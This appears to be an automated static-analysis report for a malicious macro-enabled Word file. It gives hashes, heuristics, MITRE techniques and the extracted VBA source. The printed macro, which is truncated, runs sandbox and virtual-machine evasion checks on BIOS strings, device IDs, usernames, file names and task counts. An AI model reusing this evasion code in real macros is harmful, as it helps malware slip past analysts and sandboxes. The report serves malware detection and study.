Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 58c0ccc9188fce9e…

MALICIOUS

Office (OOXML)

19.7 KB Created: 2021-06-09 08:55:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-06-17
MD5: 2a563eec9e939faaca09b684407b00d2 SHA-1: a600b9cf189ba4f91f8f9c545af668751f35c764 SHA-256: 58c0ccc9188fce9e11b0b6b5b46a9c6210cdc5224453c8a3012bc9d487172ed8
142 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

This OOXML document contains a VBA macro that executes upon opening via the AutoOpen subroutine. The macro performs several checks, including detecting virtualized environments (e.g., 'virtualbox', 'vmware', 'kvm') and the number of running tasks, likely to evade analysis. If these checks pass, it proceeds with further execution, which is typical for a downloader or initial payload dropper.

Heuristics 5

  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahashIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 4134 bytes
SHA-256: 23f41f840eab6be46556eac2d8b08dbd93279ba9cbfedc71a0fc8a23fecb235d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "AutoOpen"
Sub Main()
    On Error Resume Next
    A = checkRecentDocs()
    B = checkNbrOfTask()
    C = checkBios()
    D = checkPnP()
    E = checkUsername()
    F = checkFilenameHash()
    G = checkFilenameBad()
    H = checkPreciseFileName()
    I = checkAppCount()
    J = A And B And C And D And E And F And G And H And I
End Sub


Public Function checkRecentDocs()
    If Application.RecentFiles.Count < 3 Then
        checkRecentDocs = False
    Else
        checkRecentDocs = True
    End If
End Function


Public Function checkNbrOfTask()
    If Application.Tasks.Count < 3 Then
        checkNbrOfTask = False
    Else
        checkNbrOfTask = True
    End If
End Function


Public Function checkBios()
    badBios = False
    badBiosNames = Array("virtualbox", "vmware", "kvm")
    Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")
    Set colItems = objWMIService.ExecQuery("Select * from Win32_Bios", , 48)
    For Each objItem In colItems
        For Each badName In badBiosNames
            If InStr(LCase(objItem.SMBIOSBIOSVersion), badName) > 0 Then
                badBios = True
            End If
            If InStr(LCase(objItem.SerialNumber), badName) > 0 Then
                badBios = True
            End If
        Next
    Next
    If badBios Then
        checkBios = False
    Else
        checkBios = True
    End If
End Function


Public Function checkPnP()
    badPNP = False
    badPNPNames = Array("VEN_80EE", "VEN_15AD")
    Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")
    Set colItems = objWMIService.ExecQuery("Select * from Win32_PnPEntity", , 48)
    For Each objItem In colItems
        For Each badName In badPNPNames
            If InStr(LCase(objItem.DeviceId), badName) > 0 Then
                badPNP = True
            End If
        Next
    Next
    If badPNP Then
        checkPnP = False
    Else
        checkPnP = True
    End If
End Function


Public Function checkUsername()
    badUsername = False
    badUsernames = Array("admin", "malfind", "sandbox", "test")
    Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")
    Set colItems = objWMIService.ExecQuery("Select * from Win32_ComputerSystem", , 48)
    For Each objItem In colItems
        For Each badName In badUsernames
            If InStr(LCase(objItem.UserName), badName) > 0 Then
                badUsername = True
            End If
        Next
    Next
    If badUsername Then
        checkUsername = False
    Else
        checkUsername = True
    End If
End Function


Public Function checkFilenameHash()
    hexchars = "0123456789abcdef"
    C = 0
    For I = 1 To Len(ThisDocument.Name)
        s = Mid(LCase(ThisDocument.Name), I, 1)
        If InStr(s, hexchars) > 0 Then
            C = C + 1
        End If
    Next
    If C >= (Len(ThisDocument.Name) - 5) Then
        checkFilenameHash = False
    Else
        checkFilenameHash = True
    End If
End Function


Public Function checkFilenameBad()
    badName = False
    badNames = Array("malware", "myapp", "sample", ".bin", "mlwr_", "Desktop")
    For Each n In badNames
        If InStr(LCase(ActiveDocument.FullName), n) > 0 Then
            badName = True
        End If
    Next
    If badName Then
        checkFilenameBad = False
    Else
        checkFilenameBad = True
    End If
End Function


Public Function checkPreciseFileName() As Boolean
    If ActiveDocument.Name = "Doc8.docm" Then
        checkPreciseFileName = True
    Else
        checkPreciseFileName = False
    End If
End Function


Public Function checkAppCount()
    If WordBasic.AppCount() < 50 Then
        checkAppCount = False
    Else
        checkAppCount
... (truncated)
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 14848 bytes
SHA-256: a2bf467a4295f125a7d90368e293a2099ecdb6f7abe74a96bb88a10bd91e04e4
emf_00.emf ooxml-emf OOXML EMF part: docProps/thumbnail.emf 3316 bytes
SHA-256: 6872621c0304822342c25595e3f9685d81f6aab7b9a4a4db4fb0b7baf0de6486

Open this report in the interactive analyzer, or submit your own file for analysis.